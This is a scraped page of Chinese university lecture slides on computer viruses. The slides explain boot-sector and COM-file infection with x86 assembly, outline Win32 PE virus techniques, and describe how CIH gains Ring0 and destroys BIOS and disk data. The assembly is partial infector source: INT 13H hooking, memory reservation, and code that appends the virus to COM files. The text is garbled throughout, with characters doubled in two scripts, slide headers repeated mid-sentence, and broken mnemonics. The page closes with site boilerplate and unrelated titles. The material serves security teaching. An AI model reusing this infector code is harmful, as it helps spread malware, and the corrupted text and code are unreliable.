35、到內(nèi)存進(jìn)入ROM-BIOS引導(dǎo)至0000:7C00H,并執(zhí)行自舉完成系統(tǒng)復(fù)位讀到內(nèi)存引導(dǎo)區(qū)病毒并執(zhí)行病毒程序修改中斷向量復(fù)制病毒/感染磁盤系統(tǒng)加電或復(fù)位信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(1)裝入內(nèi)存過程: 1 系統(tǒng)開機(jī)后,進(jìn)入系統(tǒng)檢測,檢測正常后,從0面0道1扇區(qū),即邏輯0扇區(qū)讀取信息到內(nèi)存的00007C00處: 正常時(shí),磁盤0面0道1扇區(qū),即邏輯0扇區(qū)存放的是boot引導(dǎo)程序; 操作系統(tǒng)感染了引導(dǎo)扇區(qū)病毒時(shí),磁盤0面0道1扇區(qū),即邏輯0扇區(qū)存放的是病毒引導(dǎo)部分,boot引導(dǎo)程序被放到其他地方。例如,大麻病毒在軟盤中將原DOS引導(dǎo)扇區(qū)搬移到0道1面3
36、扇區(qū),在硬盤中將原DOS引導(dǎo)扇區(qū)搬移到0道0面7扇區(qū);香港病毒則將原DOS引導(dǎo)扇區(qū)搬移到39磁道第8扇區(qū);Michelangelo病毒在高密度軟盤上,是第27扇區(qū),在硬盤上是0道0面7扇區(qū)。 2 系統(tǒng)開始運(yùn)行病毒引導(dǎo)部分,將病毒的其他部分讀入到內(nèi)存的某一安全區(qū),常駐內(nèi)存,監(jiān)視系統(tǒng)的運(yùn)行。3 病毒修改INT 13H中斷服務(wù)處理程序的入口地址,使之指向病毒控制模塊并執(zhí)行,以便必要時(shí)接管磁盤操作的控制權(quán)。4 病毒程序全部讀入后,接著讀入正常boot內(nèi)容到內(nèi)存0000:7C00H處,進(jìn)行正常的啟動(dòng)過程(這時(shí)病毒程序已經(jīng)全不讀入內(nèi)存,不再需要病毒的引導(dǎo)部分)。 5 病毒程序伺機(jī)等待隨時(shí)感染新的系統(tǒng)盤或非
37、系統(tǒng)盤。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(2)攻擊過程。病毒程序發(fā)現(xiàn)有可攻擊的對象后,要進(jìn)行下列工作:1 將目標(biāo)盤的引導(dǎo)扇區(qū)讀入內(nèi)存,判斷它是否感染了病毒。2 滿足感染條件時(shí),將病毒的全部或一部分寫入boot區(qū),把正常的磁盤引導(dǎo)區(qū)程序?qū)懭氪疟P特定位置。3 返回正常的INT 13H中斷服務(wù)處理程序,完成對目標(biāo)盤的傳染過程。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治5. 引導(dǎo)型病毒的編制技術(shù)個(gè)人計(jì)算機(jī)開機(jī)后,會(huì)先執(zhí)行主引導(dǎo)區(qū)代碼這一機(jī)制,給引導(dǎo)型病毒竊取第一控制權(quán)提供了機(jī)會(huì)。但是引導(dǎo)型病毒竊取控制權(quán)的時(shí)間只能是短暫的
38、,然后就要引導(dǎo)DOS操作系統(tǒng),否則就將敗露。在竊取控制權(quán)的這段時(shí)間內(nèi),病毒的引導(dǎo)部分主要要做下列事情。(1)為病毒代碼申請內(nèi)存空間,為此要盡量減少DOS的存儲(chǔ)空間。相關(guān)代碼如下:xor ax,axmove ss,axmov sp,7c00hmov ds,axmov ax,word ptr ds:413h; 存放最大內(nèi)存空間0000:0413sub ax,4; 給病毒申請4kB的內(nèi)存空間mov ds:413h,ax信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(2)修改傳播需要的中斷向量。相關(guān)代碼如下: begin proc farpush ds; axds:axs
39、ub ax,ax;push axmov ax,code; 將代碼段地址裝入ds,esmov ds,axmov ex,axmov ax, seg ctrl_c; 修改向量,ds:dx指向ctrl_c子程序mov ds, ax;mov dx, offset ctrl_cmov ah,25h; 調(diào)用號(hào)ah=25Hmov al,23h; 修改中斷向量號(hào)al=23Hint 21h; 系統(tǒng)調(diào)用指令 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(3)讀入病毒的其他部分,進(jìn)行病毒拼裝(在內(nèi)存高端):先從已經(jīng)標(biāo)記的簇中某扇區(qū)讀入病毒的其他部分(這些簇往往被標(biāo)記為壞簇),然后再讀入
40、原引導(dǎo)記錄到0000:7C00H處,跳轉(zhuǎn)執(zhí)行。相關(guān)代碼如下:mov cl,06hshl ax,cl; (ax)=8F80add ax,0840h; (ax)=97c0move s,axmov si,7c00h; (si)=7c00mov di,simov cx,0100hrepz movsw; 將病毒移到高端v2:push axpop dspush ax mov bx,7c4bhpush bxret; 指令執(zhí)行轉(zhuǎn)入高端內(nèi)存call v3信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治v3:xor ah,ah ; (ah)=0 int 13h ; 13H中斷調(diào)用 mo
41、v ah,80h and byte ptr ds:7df8h,al ;v4:mov bx,word ptr ds:7df9h ;讀入病毒的其他部分 push cs pop ax ; (ax)=97c0 sub ax,20h ; (ax)=97c0 move s, ax ; (es)=97c0 call v9 mov bx,word ptr ds:7df9h ; 加載邏輯扇區(qū)號(hào) inc bx ; bx+是引導(dǎo)扇區(qū) mov ax,0ffc0h; ffc0:8000=0000:7c00讀入原引導(dǎo)分區(qū)內(nèi)容信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治 move s,axc
42、all v9xor ax,ax ; (ax)=0mov byte ptr ds:7df7h,al ; 標(biāo)志清0v5:mov ds,ax ; (ds)=0mov ax,word ptr ds:4chmov bx,word ptrds:4ch ; 修改中斷向量mov word ptr ds:4ch,7cd6h mov word ptr ds:4ch,cs ; 新int 13H中斷已修改push cspop ds ; (ds)=(cs)mov word ptr ds:7d30h:ax ;保存原來的int 13H中斷向量mov word ptr ds:7d32h:bx ; v6:mov dl,byte
43、 ptr ds:7df8h ;加載驅(qū)動(dòng)器盤符v7:jmp 0000:7c00 ;跳轉(zhuǎn)db 0eah,00h,7ch,00h,00h ;跳轉(zhuǎn)指令的二進(jìn)制代碼信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(4)讀入原主引導(dǎo)分區(qū),轉(zhuǎn)去執(zhí)行DOS的引導(dǎo)工作。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治1.3.2 1.3.2 COMCOM文件型病毒編制的關(guān)鍵技術(shù)文件型病毒編制的關(guān)鍵技術(shù)1. COM文件的特點(diǎn)這里,文件型病毒主要指DOS操作系統(tǒng)下的COM和EXE文件。首先介紹COM文件病毒程序的編制技術(shù)。COM文件具有如下特點(diǎn):(1)COM文
44、件的存儲(chǔ)代碼與內(nèi)存映像完全相同COM文件是在DOS外殼上直接運(yùn)行處理器指令和內(nèi)存數(shù)據(jù)。為此,在COM文件中要包含COM程序的一個(gè)絕對映像(如圖1.4所示),并且MS-DOS要把該映像直接拷貝到內(nèi)存加載COM程序,而不做任何改變。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(2)COM文件的長度不能超過65 024字節(jié)。COM文件是一種單段執(zhí)行結(jié)構(gòu)。如圖1.4所示,它要被分配在一個(gè)64k字節(jié)的空間中。這個(gè)空間中除了要存放COM文件外,還要存放一個(gè)程序段前綴PSP和一個(gè)起始堆棧。而PSP的
45、大小為256字節(jié),起始堆棧的最小空間為256字節(jié),所以COM文件最大不能超過65 024字節(jié)。(3)COM文件的第1條指令必須是程序的入口點(diǎn)。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治2. COM文件的加載和啟動(dòng)(1)分配內(nèi)存:盡可能多地分配內(nèi)存空間。在DOS運(yùn)行另一個(gè)程序或分配另外的內(nèi)存空間時(shí),COM將釋放不需要的空間。(2)分配內(nèi)存成功后,DOS建立一個(gè)PSP。如果PSP的第1個(gè)FCB含有一個(gè)有效驅(qū)動(dòng)器標(biāo)識(shí)符,即置AL為00H;否則置AL為0FFH(3)在PS后面(偏移100H)加載COM文件,同時(shí)置SS、DS和ES為PSP的段地址。(4)建立堆棧。DO
46、S通過把控制權(quán)傳遞給偏移100H處的指令啟動(dòng)程序。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治3. 可執(zhí)行文件病毒的傳染過程(1)文件病毒在宿主文件(.com或.exe)被執(zhí)行時(shí),駐留內(nèi)存;(2)病毒開始監(jiān)視系統(tǒng)運(yùn)行,等待被傳染目標(biāo)出現(xiàn);(3)病毒檢測可執(zhí)行文件的特定地址的標(biāo)識(shí)位,判斷該文件是否感染了病毒;(4)發(fā)現(xiàn)了被感染目標(biāo)后,利用INT 13H將病毒鏈接到可執(zhí)行文件的首部、尾部或中間,并存入磁盤中;(5)完成感染后,繼續(xù)監(jiān)視系統(tǒng)的運(yùn)行,尋找新的目標(biāo)。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治4. 文件型病毒程序編制技術(shù)
47、文件型病毒可以加在COM文件的前部,也可以加在COM文件的尾部。不管加在何處,都可以利用COM文件的第一條指令是程序的入口點(diǎn),使啟動(dòng)COM程序前先執(zhí)行病毒程序。方法就是對程序開始處的指令進(jìn)行修改。例如,病毒程序加在最后,就應(yīng)當(dāng)把程序開始處的指令修改成一條跳轉(zhuǎn)指令,跳轉(zhuǎn)到病毒所在的位置。等病毒程序執(zhí)行完,再把控制權(quán)交還給COM程序。當(dāng)然,實(shí)際做的工作并不這么簡單。下面是感染COM文件的典型病代碼。(1)修改了的文件頭部代碼cs:0100 jmp endOfFile ;db 0e9h,0100h處為COM文件原來入口 ; dw COM文件實(shí)際大小 ; endOfFile 文件尾(加入病毒的位置)信
48、息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(2)在COM文件的尾部的病毒代碼部分endOfFile:virusStart: ; 病毒代碼mov ax,orgcodemov 100,axmov al,orgcode+2mov 102,alvirusSize = $-virusStartresume:jmp 100 ; db 0e9h ;dw (COM文件實(shí)際大小 + 病毒代碼大小)orgcode db 3 dup(?) ; 原文件由0100開始的3個(gè)字節(jié)信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(3)代碼的進(jìn)一步完善病毒要感染CO
49、M文件,需要進(jìn)行的工作有: 首先要把開始的3字節(jié)保存到orgcode中,更改為0e9h; 更改文件實(shí)際大小; 將resume開始的3字節(jié)改為:0e9h-(COM文件實(shí)際大小+病毒代碼大?。?; 將病毒代碼寫到COM文件尾部; 進(jìn)行感染的判斷和文件大小的判斷。 假設(shè):DS:DX指向VirusSize;VirusStart的定義如上。 ; 保存開始的4字節(jié)并改寫 db 90h,0e9h; 0e990h為感染標(biāo)志 dw sizeofcom 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治感染代碼:mov ax,3d01hint 21h; 為讀寫打開jc OpenErrorp
50、ush dxxchg ax,bxmov ax,4202hxor cx,cxint 21h; 移到文件尾or dx,dxjnz complete; 大于4字節(jié)的文件不感染cmp ax, ofeeeh-ViusSIze-11jnb completecmp ax,4jb complete; 小于4字節(jié)的文件也不感染mov di,offset orgcodemov di+6,ax信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治add di+6,VirusSize; 產(chǎn)生替換代碼mov ax,4200hxor cx,cxxor dx,dxint 21h; 移到文件頭mov c
51、x,4mov dx,dimov ah,3fhint 21h ; 讀出4個(gè)字節(jié)jc completecmp word ptr di,0e990h; 如果沒有感染,則; nop; jmp XXXXjz completemov cx,4add ah,40h int 21h ; 在文件頭部寫4個(gè)字節(jié) 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治mov ax,4202hxor cx,cxxor dx,dxint 21h; 移到文件尾mov ah,40hmov dx,VirusSize+11int 21h; 寫入病毒代碼到COM文件中complete:mov ah,3fh
52、int 21h; 關(guān)閉文件ErrorOpen:信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治1.3.3 1.3.3 Win 32 PEWin 32 PE病毒編制的關(guān)鍵技術(shù)病毒編制的關(guān)鍵技術(shù)1. Win 32 PE文件格式Win 32 PE文件就是Win 32(Windows 95/98/2000/XP)環(huán)境下的PE格式(Portable Executable Format)的可執(zhí)行文件。為了了解病毒對它的感染機(jī)理,首先介紹PE文件的結(jié)構(gòu)和運(yùn)行機(jī)制。PE文件的格式如圖1.5所示。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治信息安全原
53、理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(1)所有的PE文件必須以一個(gè)簡單的DOS MZ頭開始。(2)接著是一個(gè)極?。◣装賯€(gè)字節(jié))的DOS程序DOS stub,用于輸出警告,如“該程序不能在DOS模式下運(yùn)行”。當(dāng)Win32把一個(gè)PE文件映像加載到內(nèi)存時(shí),內(nèi)存映像文件的第一個(gè)字節(jié)對應(yīng)到DOS Stub的第一個(gè)字節(jié)。(3)再接著是作為PE文件標(biāo)志的1024字節(jié)的PE頭。執(zhí)行體在支持PE文件的操作系統(tǒng)中執(zhí)行時(shí),PE裝載器將從DOS MZ頭中找到PE頭的偏移量。(4)PE文件的內(nèi)容部分由一些稱為段的塊組成。每段是一塊具有共同屬性的數(shù)據(jù)。段數(shù)寫在段表中。 信息安全原理張基溫電子
54、教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(5)PE文件的裝載過程1 PE文件被執(zhí)行時(shí),PE裝載器檢查DOS MZ頭中的PE頭騙移量。找到了,就跳轉(zhuǎn)到PE頭。2 PE檢查器檢查PE頭的有效性。有效,就跳轉(zhuǎn)到PE頭的尾部。3 讀取段表中的信息,通過文件映射,將段映射到內(nèi)存,同時(shí)附上段表中指定的段的屬性。 4 PE文件映射到內(nèi)存后,PE裝載器處理PE文件中的有關(guān)邏輯。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治2. Win 32 PE病毒原理一個(gè)Win 32 PE病毒需要具有如下一些功能。(1)重定位 定位主要指程序中數(shù)據(jù)的內(nèi)存存儲(chǔ)位置。對于正常的程序
55、來說,數(shù)據(jù)的內(nèi)存存儲(chǔ)位置在編譯時(shí)就已經(jīng)計(jì)算好了,程序裝入內(nèi)存時(shí)不需要對它們重定位。 病毒可能依附在宿主程序的不同位置,當(dāng)病毒隨著宿主程序裝載到內(nèi)存后,病毒中數(shù)據(jù)的位置也會(huì)隨之發(fā)生變化。由于指令是通過地址引用數(shù)據(jù)的,地址的不準(zhǔn)確將導(dǎo)致病毒程序的不正確執(zhí)行。為此,有必要對病毒代碼中的數(shù)據(jù)進(jìn)行重定位。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(2)獲取API函數(shù)地址 在Win 32環(huán)境中,系統(tǒng)功能調(diào)用不是通過中斷實(shí)現(xiàn),而是通過調(diào)用API函數(shù)實(shí)現(xiàn)。因此,獲取API函數(shù)的入口地址非常重要。但是,Win 32 PE病毒與普通的Win 32 PE程序不同:普通的Win 3
56、2 PE程序里有一個(gè)引入函數(shù)節(jié),程序通過這個(gè)節(jié)可以找到代碼段中所用的API函數(shù)在動(dòng)態(tài)鏈接庫中的真實(shí)地址。調(diào)用API函數(shù)是,可以通過該引入函數(shù)表找到相應(yīng)API函數(shù)的真正執(zhí)行地址。 但是,Win 32 PE病毒只有一個(gè)代碼段,并不存在引入函數(shù)節(jié),因此不能直接用真實(shí)地址調(diào)用API函數(shù)。所以獲取API地址是病毒的一個(gè)重要技術(shù)。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治1 首先獲取Kernel32的基地址 當(dāng) 系 統(tǒng) 打 開 一 個(gè) 可 執(zhí) 行 文 件 時(shí) , 會(huì) 調(diào) 用Kernel32.dll中的CreateProcess函數(shù)。CreateProcess函數(shù)在完成裝
57、載應(yīng)用程序后,先要將一個(gè)返回地址壓入堆棧頂,然后轉(zhuǎn)向那個(gè)要裝載的應(yīng)用程序。這個(gè)應(yīng)用程序結(jié)束后,就將這個(gè)地址數(shù)據(jù)彈出到EIP中,繼續(xù)執(zhí)行。因此,要獲得API函數(shù)地址,首先要獲得Kernel32的基地址。例如利用程序的返回地址,在其附近搜索Kernel32模塊的基地址。2 由已知API函數(shù)序列號(hào)或僅知的函數(shù)名,搜索API函數(shù)地址的過程 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(3)搜索目標(biāo)文件 通常通過兩個(gè)API函數(shù)FindFiratFilehe 和FindNextFile實(shí)現(xiàn)。(4)內(nèi)存文件映射 使用內(nèi)存文件映射進(jìn)行文件讀寫。(5)感染其他文件(6)返回到宿主
58、程序。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治3. Win 32 PE病毒實(shí)例CIH病毒 CIH病毒以Win 32 PE文件為攻擊對象。它開創(chuàng)了直接攻擊、破壞硬件的先例,發(fā)作時(shí)破壞Flash BIOS芯片中的系統(tǒng)程序,導(dǎo)致主板損壞,造成部分廠家的主板開機(jī)后無反應(yīng);同時(shí),使硬盤驅(qū)動(dòng)器不停地轉(zhuǎn)動(dòng),病毒以2048個(gè)扇區(qū)為單位,從硬盤主引導(dǎo)區(qū)開始依次往硬盤中寫入垃圾數(shù)據(jù),直到硬盤中的全部數(shù)據(jù)被破壞。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(1)CIH病毒的基本特點(diǎn) CIH病毒很短,CIHv1.2只有1003個(gè)字節(jié)。 可以繞過W
59、indows的應(yīng)用程序界面,繞過ActiveX、C+和C,使用匯編,利用虛擬設(shè)備驅(qū)動(dòng)程序VxD,直接進(jìn)入Windows內(nèi)核。 采用碎洞攻擊技術(shù),將病毒化整為零,插入到宿主文件中,因而不改變宿主文件大小。 利用多數(shù)BIOS芯片開放可重用性的特點(diǎn),可以向計(jì)算機(jī)主板的BIOS端口寫如亂碼。信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治(2)CIH病毒駐留程序的駐留過程一旦要執(zhí)行帶有CIH病毒的EXE文件,由于病毒修改了該文件程序的入口地址,使調(diào)入內(nèi)存執(zhí)行的是病毒的駐留程序(長184字節(jié))。駐留的主要過程如下:1.取得IDT(中斷描述符)的基地址。2. 把IDT的INT
60、3的入口地址改為指向CIH自己的INT 3入口,以獲得最高級(jí)別(Ring0級(jí))的Windows權(quán)限(可以在Windows內(nèi)核執(zhí)行各種操作,如終止系統(tǒng)運(yùn)行、直接對內(nèi)存讀寫、截獲各種中斷、控制I/O端口等)。 信息安全原理張基溫電子教案病毒信息安全原理張基溫電子教案病毒及其防治及其防治3 執(zhí)行INT 3指令,進(jìn)入自身的INT 3入口程序。具體工作為:a 檢查調(diào)式寄存器DR0的值,判斷CIH病毒是否已經(jīng)駐留: 不為0,表示CIH病毒已經(jīng)駐留,要恢復(fù)原先的INT 3入口,把控制權(quán)交給Windows; 為0,表示尚未駐留,CIH病毒將嘗試駐留。b 將當(dāng)前EBX寄存器的值賦給DR0寄存器,生成駐留標(biāo)志。c
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲(chǔ)空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 貴州省事業(yè)單位聘用合同制試行辦法
- 合肥 采購合同范本
- 大班數(shù)學(xué)課件《門牌號(hào)碼》
- 2024聘用兼職老師合同書范文
- 山東省東營市利津縣2024-2025學(xué)年八年級(jí)上學(xué)期11月期中化學(xué)試題
- m材料力學(xué)第11章 能量法
- 2024劇本版權(quán)制作及發(fā)行權(quán)購買合同參考范本
- 2024合同違約起訴狀范本
- 專題01 標(biāo)題的作用及含義-2022-2023學(xué)年小升初語文記敘文知識(shí)點(diǎn)銜接(部編版)
- 幼兒園防詐安全教育
- 《中藥學(xué)》課件-第9章 消食藥
- 人教版(川教版)五年級(jí)上冊生命生態(tài)安全教學(xué)設(shè)計(jì)和教學(xué)計(jì)劃及進(jìn)度表(附安全知識(shí))
- 組織效能提升模型的商業(yè)化應(yīng)用
- 《籃球三步上籃》說課PPT
- 1500TD菜籽坯預(yù)處理及榨油車間工藝流程設(shè)計(jì)
- 憲法與法律學(xué)習(xí)通課后章節(jié)答案期末考試題庫2023年
- 北京科技大學(xué)第二批非教學(xué)科研崗位招考聘用模擬預(yù)測(共500題)筆試參考題庫附答案詳解
- 審計(jì)模擬實(shí)訓(xùn)教程第4版馬春靜課后部分參考答案
- 公務(wù)員制度、職業(yè)生涯發(fā)展及工作方法
- 水球(集體球類運(yùn)動(dòng))
- T-JLA 003-2023 高速公路車距抓拍系統(tǒng)技術(shù)要求和檢驗(yàn)方法
評論
0/150
提交評論